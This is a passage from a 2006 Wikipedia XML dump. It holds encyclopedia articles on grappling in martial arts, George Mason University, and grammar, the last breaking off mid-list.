[[fr:Gregor Mendel]]
[[ko:그레고르 요한 멘델]]
[[id:Gregor Mendel]]
[[it:Gregor Mendel]]
[[he:גרגור מנדל]]
[[la:Gregorius Mendel]]
[[hu:Gregor Mendel]]
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[[ja:グレゴール・ヨハン・メンデル]]
[[no:Gregor Johann Mendel]]
[[pl:Grzegorz Mendel]]
[[pt:Gregor Mendel]]
[[ru:Мендель, Грегор]]
[[sr:Грегор Мендел]]
[[fi:Gregor Mendel]]
[[sv:Gregor Mendel]]
[[ta:கிரிகோர் ஜோஹன் மெண்டல்]]
[[tr:Gregor Mendel]]
[[zh:格里哥·孟德尔]]</text>
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    <title>Gregor Johann Mendel</title>
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  </page>
  <page>
    <title>Grappling</title>
    <id>12564</id>
    <revision>
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      <contributor>
        <username>Mark83</username>
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      <minor />
      <comment>disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">[[Image:Martial Arts.jpg|thumb|right|300px|[[Hawaii]]an State Grappling Championships.]]

'''Grappling''' (in [[budo]] referred to as ''katame-waza'', 固め技, &quot;grappling technique&quot;) refers to the gripping, handling and controlling of an opponent without the use of [[strike (attack)|striking]]. A '''grappler''' is a person who predominantly practices grappling in [[martial art]]s or [[combat sport]]s. Grappling can be used in both in a standing position, where it is known as '''stand-up grappling''', and on the ground, where it is known as '''ground grappling'''. Grappling is an essential part of both [[clinch fighting]] and [[ground fighting]].

== General ==

Grappling is a mode of [[fighting]] used by many different [[martial art]]s around the world. It is not a distinct martial art, but rather, similarly to [[strike (attack)|striking]], a collection of techniques and strategies aimed at defeating an opponent.
The degree to which grappling is utilized in different fighting systems varies. Some systems, such as [[Amateur wrestling]], [[Submission wrestling]], [[Judo]] and [[Brazilian Jiu-Jitsu]] are exclusively grappling arts, and do not allow striking. Many [[combat sport]]s such as [[Shooto]] and [[mixed martial art]]s competitions, put much emphasis on grappling, while still retaining striking as part of the sport.

It is however forbidden to grapple in many martial arts and combat sports; usually for the sake of focusing on other aspects of combat such as [[Punch (strike)|punching]], [[kick|kicking]] or [[Mêlée weapon|Mêlée weapons]].  Opponents in these types of matches, however, still grapple each other occasionally when [[Fatigue (physical)|fatigued]] or [[pain|hurt]]; when this occurs, the [[referee]] will step in and restart the match, sometimes giving a warning to one or both of the fighters.  Examples of these include [[Boxing]], [[Kickboxing]], [[Taekwondo]], [[Karate]], and [[Fencing]].  While prolonged grappling in [[Muay Thai]] will result in a separation of the competitors, the art extensively uses the [[grappling hold#Clinch hold|clinch hold]] known as a [[collar tie#Double collar tie|double collar tie]].

Grappling techniques and defenses to grappling techniques are also considered important in [[self-defense]] applications and in [[law enforcement]]. The most common taught are escapes from [[grappling hold|holds]] and application of [[grappling hold#Pain compliance hold|pain compliance techniques]].

==Stand-up grappling==
'''Stand-up grappling''' or sometimes '''clinching''' (in [[budo]] called ''tachi-waza'', 立技, &quot;standing technique&quot;) is arguably an integral part of all grappling arts, considering that two combatants generally start fighting from a stand-up position. The aim of stand-up grappling varies according to the [[martial arts]] or [[combat sport]]s in question, it's nature can be [[defense (sport)|defensive]] such as in [[Aikido]] or [[offensive]] such as in [[Judo]] or [[Wrestling]]. Defensive stand-up grappling concerns itself with [[grappling hold#Pain-compliance holds|pain-compliance holds]] and escapes from possible [[grappling hold]]s applied by an opponent, while offensive grappling  techniques include [[grappling hold#Submission holds|submission holds]], [[takedown (grappling)|takedowns]] and [[throw (grappling)|throws]], all of which can be used to inflict serious damage, or to move the fight to the ground. Stand-up grappling can also be used both offensively and defensively in combination with [[strike (attack)|striking]], either to prevent the opponent form obtaining sufficient distance to strike effectively, or to bring the opponent close to apply, for instance, [[knee (strike)|knee strikes]] such as in [[Muay Thai]].

In [[combat sport]]s, stand-up grappling usually revolves around successful [[takedown (grappling)|takedowns]] and [[throw (grappling)|throws]]. In [[Judo]] a fight is over if one of the judoka score an ''[[ippon]]'', and in some sports such as [[Glima]], the fight is over once one of the opponents has fallen down.

==Ground grappling==
'''Ground grappling''' (in [[budo]] called ''ne-waza'', 寝技, &quot;ground technique&quot;) refers to all the grappling tecniques that are applied while the grapplers are no longer in a standing position. The primary concern of in most [[martial art]]s and [[combat sport]]s featuring ground grappling, is [[grappling position|positioning]], which in essence is about obtaining a [[grappling position|dominant position]]. A dominant position generally puts the top grappler in a very advantagous position, he or she can use the position to escape by standing up, [[grappling hold#Pinning hold|pinning]] and exhausting the opponent, executing a [[grappling hold#Submission hold|submission hold]], or [[strike (attack)|striking]] the opponent. The bottom grappler is on the other hand concerned with escaping the situation and improve his or her positioning, typically by using a [[sweep (grappling)|sweep]].

== Uses ==

When unskilled fighters get embroiled in combat, a common reaction is to grab the opponent in an attempt to slow the situation down by holding them still, resulting in an unsystematic struggle that relies on brute force.  A skilled fighter, in contrast, can perform takedowns as a way of progressing to a superior position such as a [[mount (grappling)|mount]] or [[side mount (grappling)|side mount]], or using [[grappling hold#Clinch hold|clinch holds]] and ground positions to set up strikes, chokeholds and joint locks.  A grappler who has been taken down to the ground can use defensive positions such as the [[Guard (grappling)|guard]], which protects against being mounted or attacked.  If a grappler is strong and can utilize leverage well, a takedown itself can be a form of attack -- the impact to the head can render some opponents unconscious.  On the other hand, grappling also offers the possibility of controlling an opponent without injuring them.  For this reason, most [[police]] staff receive some training in grappling.  Likewise, grappling [[sport|sports]] such as judo have been devised so that their participants can compete using full physical effort without injuring their opponents.

Grappling is called [[dumog]] in [[Eskrima]].  The term [[chin na]] in [[Chinese martial arts]] deals with the use of grappling to achieve submission or incapacitation of the opponent (these may involve the use of [[acupressure]] points).  Among the styles of [[Tai Chi Chuan]], the [[Wu style T'ai Chi Ch'uan|Wu style]] is known for its ''[[nei chia|internal]]'' or &quot;soft&quot; style grappling (see [[pushing hands]]).  Some Chinese martial arts, [[Aikido]] and some [[Eskrima]] systems practice grappling while one or both participants is armed. This practice is significantly more dangerous than unarmed grappling, and generally requires a great deal of training.

== Types of Grappling ==

Through martial art contests such as the [[Ultimate Fighting Championship]], and interdisciplinary challenge matches throughout the world, it has been established that the most effective systems of pure grappling are [[Brazilian Jiu-Jitsu]], Russian [[Sambo]], [[Judo]] and even American [[Catch Wrestling]]. In these arts, the object is either to take down and pin the opponent, or in the case of Brazilian Jiu-Jitsu, to catch the adversary in a specialized [[chokehold]] or [[joint-lock]] which forces him or her to [[submission (combat sport term)|tap out]], and thus admit defeat. Regardless of style, there are two forms of grappling that dictate pace, and style of action: with a [[keikogi|gi]] and without. The gi form is known for its emphasis on grips using the gi, while the &quot;no-gi&quot; form emphasized body control of the torso and head.

==See also==
* [[Clinch fighting]]
* [[Ground fighting]]

==External links==
*[http://judoinfo.com/techdrw.htm Judo grappling techniques] Includes images and names of the most common judo ground grappling techniques.
* [http://www.kobukaijujitsu.com/grapplingstyles.html World grappling styles]

[[Category:Combat sports]]
[[Category:Martial art techniques]]
[[Category:Grappling| ]]

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  <page>
    <title>George Mason University</title>
    <id>12566</id>
    <revision>
      <id>42162012</id>
      <timestamp>2006-03-04T05:49:36Z</timestamp>
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      <comment>/* Men's Basketball */</comment>
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&lt;div style=&quot;border: 1px solid #ccd2d9; background: #f0f6fa; text-align: left; padding: 1em 1em; text-align: center;&quot;&gt;&lt;font color=&quot;#333333&quot; style=&quot;font-size:8pt&quot; face=&quot;Lucida Grande,Helvetica,Arial&quot; size=&quot;1&quot;&gt;&lt;b&gt;'''George Mason University'''&lt;/b&gt;&lt;/font&gt;
[[Image:GMU Seal.jpg|seal|100px]]&lt;br&gt;&lt;br&gt;
&lt;table style=&quot;background: transparent; text-align: left; table-layout: auto; border-collapse: collapse; padding: 0; font-size: 100%;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tr&gt;&lt;th style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top; text-align: left;&quot;&gt;Established&lt;/th&gt;
&lt;td style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top&quot;&gt;[[1957]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top; text-align: left;&quot;&gt;School type&lt;/th&gt;
&lt;td style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top&quot;&gt;[[Public]] [[University]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top; text-align: left;&quot;&gt;President&lt;/th&gt;
&lt;td style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top&quot;&gt;Alan G. Merten&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top; text-align: left;&quot;&gt;Location&lt;/th&gt;
&lt;td style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top&quot;&gt;[[Fairfax, Virginia]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top; text-align: left;&quot;&gt;Enrollment&lt;/th&gt;
&lt;td style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top&quot;&gt;29,728 ([[2005]])&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;
&lt;th style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top; text-align: left;&quot;&gt;Faculty&lt;/th&gt;
&lt;td style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top&quot;&gt;4,265&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;
&lt;th style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top; text-align: left;&quot;&gt;Endowment&lt;/th&gt;
&lt;td style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top&quot;&gt;[http://www.gmu.edu/events/campaign/home.html]&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;
&lt;th style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top; text-align: left;&quot;&gt;Campus&lt;/th&gt;
&lt;td style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top&quot;&gt;[[Suburban]], 806 acres (total for three US campuses)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;
&lt;th style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top; text-align: left;&quot;&gt;Sports teams&lt;/th&gt;
&lt;td style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top&quot;&gt;Patriots&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;
&lt;th style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top; text-align: left;&quot;&gt;Website&lt;/th&gt;
&lt;td style=&quot;border-top: solid 1px #ccd2d9; padding: 0.4em 1em 0.4em 0; vertical-align: top&quot;&gt;http://www.gmu.edu&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
	
&lt;/table&gt;
&lt;/div&gt;&lt;!--end of slate grey box--&gt;
&lt;/div&gt;&lt;!--end of floated right section; article starts here--&gt;
[[Image:GMUDaytime4-14-2005.JPG|thumb|280px|left|George Mason University's Fairfax campus]]
'''George Mason University''', also referred to by locals and students as simply &quot;Mason&quot; or &quot;GMU,&quot; is an institution of [[university|higher learning]] in the [[Commonwealth]] of [[Virginia]], with campuses in [[Arlington, Virginia|Arlington]], [[Fairfax, Virginia|Fairfax]], and [[Prince William County, Virginia]], all in the [[suburb|suburbs]] of [[Washington, DC]]. In the fall of 2005 the university opened a site in [[Loudoun County, Virginia]] and announced several months later, the acquisition of 133 acres of land to build a fourth suburban campus that is scheduled to open in 2009. The university is named after [[United States|American]] [[American Revolution|revolutionary]], [[Patriot (American Revolution)|patriot]] and [[Founding Fathers of the United States|founding father]] [[George Mason]]. 

Its faculty boasts [[Nobel Prize]]-winning [[economics|economists]] [[James M. Buchanan]] (1986) and [[Vernon Smith]] (2002). Another economics professor, [[Walter Williams]], is well-known as a syndicated columnist and occasional guest host of the [[Rush Limbaugh]] radio show. The [[law school]] is ranked among the top 50 in the United States, and the [[Industrial/Organizational Psychology]] graduate program is consistently ranked in the top ten in the nation. 

The school is ranked by [[Princeton Review]] as the most diverse university in the nation. The school has students from more than 135 countries and recently opened a international campus in the [[Ras Al Khaimah]] emirate of the [[United Arab Emirates]].

While today, Mason is relatively young, it has grown rapidly, reaching an enrollment in 2005 of 29,728 students and has become the largest public university in the state of Virginia. The University's stated goal is to become the major public research university of the [[Baltimore-Washington Metropolitan Area|U.S. national capital area]].

The school's sports teams are called Patriots.  The university's men's and women's sports teams participate in the [[NCAA]]'s Division I, and are in the [[Colonial Athletic Association]]. The school's colors are green and gold. The university's student publication is [[Broadside (newspaper)]].

The George Mason University logo, originally designed in 1982, was updated in 2004 to reflect the changes the university has undergone since that time.


==History==
The university can trace its roots back to the [[1950s]] when the Virginia state legislature passed a resolution, in January of [[1956]], to establish a branch college of the [[University of Virginia]] in Northern Virginia.  In September of [[1957]] the new college opened its doors to seventeen students. All of whom enrolled as freshmen in a renovated elementary school building at [[Bailey's Crossroads]]. John Norville Gibson Finley, served as Director of the new branch, which was known as University College.

The [[City of Fairfax, Virginia]], then the Town of Fairfax, purchased and donated 150 acres of land to the University of Virginia for the college's new location, which was referred to as the Fairfax Campus.  The Board of Visitors of UVa selected a permanent name for the college: George Mason College of the [[University of Virginia]] in [[1959]]. The Fairfax campus construction planning that began in early 1960 showed visible results when the development of the first forty acres of Fairfax Campus began in 1962.  In the Fall of 1964 the new campus welcomed 356 students.  

Local jurisdictions of [[Fairfax County]], [[Arlington County]], and the cities of [[Alexandria]] and [[Falls Church]] agreed to appropriate $3 million to purchase land adjacent to GMC to provide for a 600 acre Fairfax Campus in [[1966]] with the intention that the institution would expand into a regional university of major proportions, including the granting of graduate degrees.

On April 7, [[1972]] the Virginia General Assembly enacted legislation which separated George Mason College from its parent institution, the [[University of Virginia]].  Renamed that day by the legislation, GMC became George Mason University.  

In [[1979]] Mason opened its law school in [[Arlington, VA]] and moved all of its athletic programs to [[NCAA]] Division I.  Enrollment that year passed 11,000.  The university opened its Arlington campus in 1982, two blocks from the Ballston Metro stop in [[Arlington, VA]]

In [[1986]] the university's governing body, the Board of Visitors, approved a new master plan for the year based on an enrollment of 20,000 full-time students with housing for 5,000 students by 1995.  That same year university housing opened to bring the total number of residential students to 700.

Through a bequest of Russian immigrant Shelley Krasnow the University established the Krasnow Institute for Advanced Study in [[1991]]. The Institute was created to further the understanding of the mind and intelligence by combining the fields of cognitive psychology, neurobiology, and artificial intelligence.

In [[1992]] GMU's new Prince William Institute begins classes in a temporary site [[Manassas, Virginia]]. The Institute moved to a permanent 124-acre site located on the Rt. 234 bypass, ten miles south of Manasss, by the year 1997, and is known as Prince William Campus.  The university graduates more than 5,000 students that following Spring.

In [[2002]] Mason celebrated its 30th anniversary of independence from the [[University of Virginia]] and launched its first capital campaign with a goal to raise $110 million.

By [[2005]] the George Mason University is [[Virginia]]'s largest institution of higher education with an enrollment of more than 29,000.  The capital campaign announces it raised more than $135 million.  New master plan released indicating university enrollment to reach 35,000 students by 2011 with more than 7000 residential students.


==Presidents of George Mason University==
*[[Lorin A. Thompson]], (1966-73)
*[[Vergil H. Dykstra]], (1973-1977)
*[[Dr. Robert C. Krug]], (1977-1978)
*[[Dr. George W. Johnson]], (1978-1996)
*[[Dr. Alan G. Merten]], (1996-Present)


== Academic and Research Units ==
[[image:Gmulogo.gif|thumb|right|150px|George Mason Academic logo 2004-present]]
[[image:Gmulogo-old.png|thumb|right|150px|George Mason Athletic logo 1982-2004]]
GMU consists of twelve academic and research units:
* [http://www.cas.gmu.edu/ College of Liberal Arts and Human Sciences]
* [http://www.gmu.edu/departments/economics/ George Mason University Department of Economics]
* [http://www.scs.gmu.edu/ School of Computational Sciences]
* [http://www.gmu.edu/departments/ICAR/ Institute for Conflict Analysis and Resolution]
* [http://cehd.gmu.edu/ College of Education and Human Development]
* [http://ite.gmu.edu/ School of Information Technology and Engineering]
* [[George Mason University School of Law]] [http://law.gmu.edu]
* [http://www.som.gmu.edu/ School of Management]
* [http://cnhs.gmu.edu/index.html College of Nursing and Health Science]
* [http://policy.gmu.edu School of Public Policy]
* [http://www.gmu.edu/cvpa/ College of Visual and Performing Arts]
* [http://www.ncc.gmu.edu/ New Century College-(NCC)]
* [http://krasnow.gmu.edu Krasnow Institute for Advanced Study]


== Points of Interest ==
George Mason University has greatly expanded the scope of the university by hiring very well-known and influential professors to work at the University.  The University's [http://www.gmu.edu/departments/economics/ economics department] alone has two professors who have won the [[Nobel Prize]]: [[James M. Buchanan]] and [[Vernon Smith]]. The College of Liberal Arts and Human Science includes history professor, [[Roger Wilkins]], who shared the [[Pulitzer Prize]] for coverage of the [[Watergate scandal]] with [[Bob Woodward]] and [[Carl Bernstein]] while he was working at the Washington Post and [[Frank Sesno]], the former CNN anchor, who is a professor of Communication.

The university has additional strength in the basic and applied sciences with critical mass in [[proteomics]], [[neuroscience]] and [[Computer science|computational sciences]]. Research support comes to Mason faculty from such agencies as the [[National Institutes of Health]], [[NASA]], the [[National Science Foundation]] and the [[Defense Advanced Research Projects Agency]].

Mason is also known for its top tier graduate program in [[Industrial/Organizational Psychology]], which is currently ranked sixth by ''[[US News and World Report]]''.

Mason was awarded $25 million, in 2005, from the [[National Institute of Allergy and Infectious Diseases]] (NIAID), part of the [[National Institutes of Health]], for construction of a Regional Biocontainment Laboratory at the Prince William Campus in Manassas. 

Mason also operates the popular [[Ropes course|Ropes/Challenge Course]] in the United States (~20,000 participants per year) at its [http://www.Hemlockoverlook.org/ Hemlock Overlook Center for Outdoor Education]
&lt;math&gt;Insert formula here&lt;/math&gt;


==Campus Grounds==
George Mason University is spread across three locations, but its history began at the main Fairfax campus in the early 60's when it was a satellite location to the [[University of Virginia]]. Four buildings were constructed around a lawn which include the East Building, West Building, Krug and Finley Hall. The first four structures, today dubbed &quot;The Original Four,&quot; &quot;around a lawn&quot; were understood as a clear reference to the buildings around The Lawn of the [[University of Virginia]] in [[Charlottesville.]] In addition, in the words of the architects, the architecture of the buildings was meant to reflect Jeffersonian influence through the use of red brick with buff colored mortar, white vertical columns, and sloped shingled roofs. 
[[Image:Kerrystage.jpg|thumb|280px|right|2004:John Kerry giving a speech in the Johnson Center]]

Master plans were developed to incorporate further development which saw new additions such as Fenwick Library and Lecture Hall. By 1979. the masterplan was developed by the firm of Sasaki &amp; Associates which continued to work alongside the unversity in the years that followed. Student housing first became available in 1977. The 1980's saw the biggest expansion with new buildings being added on each year including the Patriot Center. George W. Johnson Learning Center was opened at the end of the academic year 1995/96 to coincide with the date of the retirement of the fourth president of George Mason University whose name the Center bears. It includes an extension of the university library, radio station, movie theater, art studio, bank, main food court and university offices spread across four floors.

Recent years have seen the most activity on campus. Innovation Hall, a new academic building began usage in 2003.
Housing units (Liberty Square, Potomac Heights) were opened in 2004 to accomodate an unprecedented amount of demand from students.  Fall 2005 saw the number of residential students surpass 4100. The Sandy Creek parking deck was recently opened, while a research building is scheduled to open in June 2006. Research I will be a four-story 100,000 s.f. facility that will include faculty offices and instructional and research laboratories. It will include a semi-detached tower that will house the Astronomy Department’s rooftop telescope. 

However, the university unveiled an ambitious plan last summer for the largest development to date on campus; the Northeast Sector. Work has begun and buildings are scheduled to open in phases, but all should be complete by 2008. Planned and executed as a design-build effort, the 450,000 SF mixed-use development consists of:
 
*Five multistory residence buildings, at 5 to 6 floors each, supporting a total of 1,030 beds. 
*Exhibition-style dining facility with a capacity to seat over 500 diners. 
*Fitness center with cardio, weight training, and indoor basketball and racquetball courts. 
*Retail operations that will include a coffee house/convenience store and wood-fired pizza and pasta restaurant. 
*Various recreation and office spaces.


==Athletics==
The Patriots began to move from NAIA and NCAA Division II status into the NCAA Division I ranks with men’s basketball in the 1978-79 season. Within a few years, all other sports also were elevated to Division I status. George Mason reached its current level of 22 varsity sports (11 for men, 11 for women) with the addition of women’s lacrosse (1993-94), women’s rowing (1997-98) and men’s and women’s swimming &amp; diving (1999-2000).  George Mason is a founding member of the [[Colonial Athletic Association]] and joined during the conference inception in [[1985]].

George Mason has been very successful at the NCAA Division I level, producing national champions in women’s soccer in 1985 (defeating perennial power [[University of North Carolina]]) and men’s indoor track &amp; field in 1996. 

The men’s volleyball team has reached the NCAA “Final Four” championship round on three occasions, and the men’s and women’s soccer, baseball and women’s volleyball teams have advanced to NCAA regional play on numerous occasions. 

In the [[Colonial Athletic Association]], George Mason has won a total of 42 championships in baseball (2), men’s basketball (3), women’s cross country (4), men’s soccer (4), women’s soccer (1), women’s swimming &amp; diving (4), men’s track &amp; field (3), women’s track &amp; field (9 straight from 1990-98), women’s volleyball (7, including 5 in a row from 1992-96) and wrestling (5).

Overall, a total of 23 George Mason student-athletes have claimed 35 individual national championships, 13 George Mason teams have made more than 117 NCAA postseason appearances, Patriot student-athletes have earned national All-America honors 300+ times and have captured 280 individual CAA championshipsto garner academic player of the year in baseball.

===Men's Basketball===
While many of the school's athletic programs have had historical seasons the men's basketball program remains the flagship sport at the university.  The men's basketball team has played at the [[Patriot Center]] since 1985 and played the prior years in the PE Building on the west side of the Fairfax Campus.  The men's basketball team has made the NCAA tournament three times (1989, 1999 and 2001) and the NIT tournament three times (1986, 2002 and 2004).  The programs largest rivals include conference foes [[UNC Wilmington]], [[Old Dominion University]], [[Virginia Commonwealth University]] and [[James Madison University]].  

The most well-known player in Patriot's history is George Evans, who played from 1997-01 and was a CAA player of year three consecutive seasons.  He shares the CAA record with [[NBA]] legend [[David Robinson]] for winning the award three straight times. Other Patriot greats include, Andre Gaddy, Carlos Yates, Kenny Sanders, Robert Dykes, Rob Rose, Jason Miskiri, Jai Lewis, and Tony Skinn. 

The head coach of the Patriots is [[Jim Larranaga]].  He has been the coach since the 1997-98 season and is the winningest coach in CAA history and school history.

==Famous alumni==
*[[Anna E. Cabral]], Treasurer of the United States. Part of the law school class of 2007.
*[[Hala Gorani]], News Anchor, CNN International
*[[Brian van de Graaff]], Meteorologist, ABC 7 News
*[[Mike Kohn]], Olympic Athlete
*[[John Wilburn]], Interim Managing Editor, Houston Chronicle
*[[Debora J. Wilson]], President, The Weather Channel
*[[Chris Widger]], Baseball Player, Chicago White Sox
*[[William P. Winfree, Ph.D.]], Physicist
*[[Karl Rove]] attended from [[1973]]-[[1975]]
*[[Archie Kao]] Actor, Power Ranger, CSI
*[[Susan Rook]], former News Anchor, CNN &amp; CNN Talkback Live


== External links ==
{{Spoken Wikipedia|George_Mason_University.ogg|2006-01-16}} 
*[http://www.gmu.edu/ George Mason University]
*[http://www.gmu.edu/vcenter/masonfacts/ Facts &amp; Figures]
*[http://www.broadsideonline.com/ Broadside (student newspaper)]
*[http://www.hemlockoverlook.org/ Hemlock Overlook Center for Outdoor Education]
*[http://www.masonhoops.com/ Masonhoops.com (Basketball Fan Site)]
*[http://www.wgmuradio.com WGMU Radio Site]

{{Public colleges and universities in Virginia}}
{{Colonial Athletic Association}}

[[Category:Universities and colleges in Virginia]]

[[ga:Ollscoil George Mason]]
[[ja:&amp;#12472;&amp;#12519;&amp;#12540;&amp;#12472;&amp;#12539;&amp;#12513;&amp;#12540;&amp;#12477;&amp;#12531;&amp;#22823;&amp;#23398;]]</text>
    </revision>
  </page>
  <page>
    <title>Grammar</title>
    <id>12569</id>
    <revision>
      <id>41730548</id>
      <timestamp>2006-03-01T09:52:59Z</timestamp>
      <contributor>
        <username>Babajobu</username>
        <id>125012</id>
      </contributor>
      <minor />
      <comment>alphabetize interwikis using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">:''This article is about grammar from a linguistic perspective. For English grammar rules, see [[English grammar]] or [[Disputed English grammar]]''

{{linguistics}}
'''Grammar''' is the study of [[rule]]s governing the use of [[language]]. The set of rules governing a particular language is also called the '''grammar''' of the language; thus, each language can be said to have its own distinct grammar. Grammar is part of the general study of language called [[linguistics]].

The subfields of contemporary grammar are [[phonetics]], [[phonology]], [[morphology (linguistics)|morphology]], [[syntax]], [[semantics]], and [[pragmatics]].  Traditional grammars include only [[morphology (linguistics)|morphology]] and [[syntax]].

==Types of grammar==
* A [[prescription and description|prescriptive grammar]] presents authoritative norms for a particular language, and tends to deprecate non-standard constructions. Traditional grammars are typically prescriptive. Prescriptive grammars are usually based on the [[prestige dialect]]s of a [[speech community]], and often specifically condemn certain constructions which are common only among lower [[socioeconomic]] groups, such as the use of &quot;[[ain't]]&quot; and [[double negative]]s in [[English language|English]]. Though prescriptive grammars remain common in [[pedagogy]] and foreign [[language teaching]], they have fallen out of favor in modern academic [[linguistics]], as they describe only a subset of actual language usage. 
*A [[Prescription and description|descriptive grammar]] attempts to describe actual usage, avoiding prescriptive judgments. Descriptive grammars are bound to a particular [[speech community]], and attempt to provide rules for any [[utterance]] considered grammatically correct within that community. For example, in many dialects of English, the use of [[double negative]]s is very common, though ungrammatical from the point of view of a prescriptive English grammar. A descriptive grammar of a speech community where &quot;I didn't do nothing&quot; is acceptable will treat that sentence as grammatical, and provide rules that account for it. A descriptive grammar of formal English would rather provide rules for &quot;I didn't do anything.&quot;
* [[Traditional grammar]] is the collection of ideas about grammar that Western societies have received from Greek and Roman sources.  Prescriptive grammar is usually formulated in terms of the descriptive concepts inherited from traditional grammar.  Modern descriptive grammar aims to correct the errors of traditional grammar, and generalize them, so as to avoid shoehorning all languages to the model of Latin.  Nearly all materials used in teaching language, however, are still based on traditional grammar.
*A [[formal grammar]] is a precisely defined grammar, typically used for computer [[programming language]]s.
*A [[generative grammar]] is a [[formal grammar]] that can in some sense &quot;generate&quot; the well-formed expressions of a [[natural language]]. An entire branch of linguistic theory is based on generative grammars. Generative grammars were popularized by [[Noam Chomsky]]. Generative grammar may include [[Transformational grammar]], which is a broad term mostly describing natural language grammars which have been developed in a Chomskian tradition. Transformational grammar is usually synonymous with the slightly more specific transformational-generative grammar (TGG).

==Development of grammars==
Grammars evolve through usage and human population separations.  With the advent of written [[representation]]s, formal rules about language usage tend to appear also. Formal grammars are [[codification]]s of usage that are developed by [[observation]]. As the rules become established and developed, the prescriptive concept of grammatical correctness can arise. This often creates a gulf between contemporary usage and that which is accepted as correct. Linguists normally consider that prescriptive grammars do not have any justification beyond their authors' aesthetic tastes. However, prescriptions are considered in [[sociolinguistics]] as part of the explanation for why some people say &quot;I didn't do nothing&quot;, some say &quot;I didn't do anything&quot;, and some say one or the other depending on social context.

The formal study of grammar is an important part of [[education]] from a young age through advanced [[learning]], though the rules taught in [[school]]s are not a &quot;grammar&quot; in the sense most [[linguistics|linguists]] use the term, as they are often prescriptive rather than descriptive.

[[Planned language|Planned languages]] are more common in the modern day. Many have been designed to aid human [[communication]] (such as [[Esperanto]] or the intercultural, highly logic-compatible artificial language [[Lojban]]) or created as part of a work of [[fiction]] (such as the [[Klingon language]] and [[Elvish languages]]). Each of these artificial languages has its own grammar.

It is a myth that [[analytic language]]s have simpler grammar than [[synthetic language]]s. Analytic languages use [[syntax]] to convey information that is encoded via [[inflection]] in synthetic languages. In other words, word order is not significant and [[morphology (linguistics)|morphology]] is highly significant in a purely synthetic language, whereas morphology is not significant and syntax is highly significant in an analytic language. [[Chinese language|Chinese]] and [[Afrikaans language|Afrikaans]], for example, are highly analytic and meaning is therefore very context dependent. (Both do have some inflections, and had more in the past; thus, they are becoming even less synthetic and more &quot;purely&quot; analytic over time.) [[Latin]], which is highly [[synthetic language|synthetic]], uses [[affix]]es and [[inflection]]s to convey the same information that Chinese does with [[syntax]]. Because Latin words are quite (though not completely) self-contained, an intelligible Latin [[Sentence (linguistics)|sentence]] can be made from elements placed in largely arbitrary order. Latin has a complex affixation and a simple syntax, while Chinese has the opposite.

-----

In [[computer science]], the [[syntax]] of each [[programming language]] is defined by a [[formal grammar]].  In [[theory of computation|theoretical computer science]] and [[mathematics]], formal grammars define [[formal language]]s.  The [[Chomsky hierarchy]] defines several important classes of formal grammars.

==References==
Bede Rundle, Grammar in Philosophy, Oxford 1979.

==See also==
{{wiktionarypar|grammar}}
*[[:Category:Grammars of specific languages]]

===Grammatical devices===
*[[Affixation]] 
*[[Derivation (linguistics)|Derivation]]
*[[Reduplication]] 
*[[Word order]]

===Grammatical terms===
{{col-begin}}
{{col-break}}
* [[Adjective]]
* [[Adjunct]]
* [[Adverb]]
* [[Appositive]]
* [[Article (grammar)|Article]]
* [[Grammatical aspect|Aspect]]
* [[Auxiliary verb]]
* [[Grammatical case|Case]]
* [[Clause]]
* [[Closed class word]]
* [[Comparative]]
* [[Complement]]
* [[Compound noun and adjective]]
* [[Grammatical conjugation|Conjugation]]
* [[Dangling modifier]]
* [[Declension]]
* [[Determiner]]
* [[Dual grammatical number|Dual]] (form for two)
{{col-break}}
* [[Expletive]]
* [[Function word]]
* [[Grammatical gender|Gender]]
* [[Infinitive]]
* [[Measure word]] (classifier)
* [[Modal particle]]
* [[Movement paradox]]
* [[Grammatical modifier|Modifier]]
* [[Grammatical mood|Mood]]
* [[Noun]]
* [[Grammatical number|Number]]
* [[Object (grammar)|Object]]
* [[Open class word]]
* [[Parasitic gap]]
* [[Part of speech]]
* [[Grammatical particle|Particle]]
* [[Grammatical person|Person]]
* [[Phrase]]
{{col-break}}
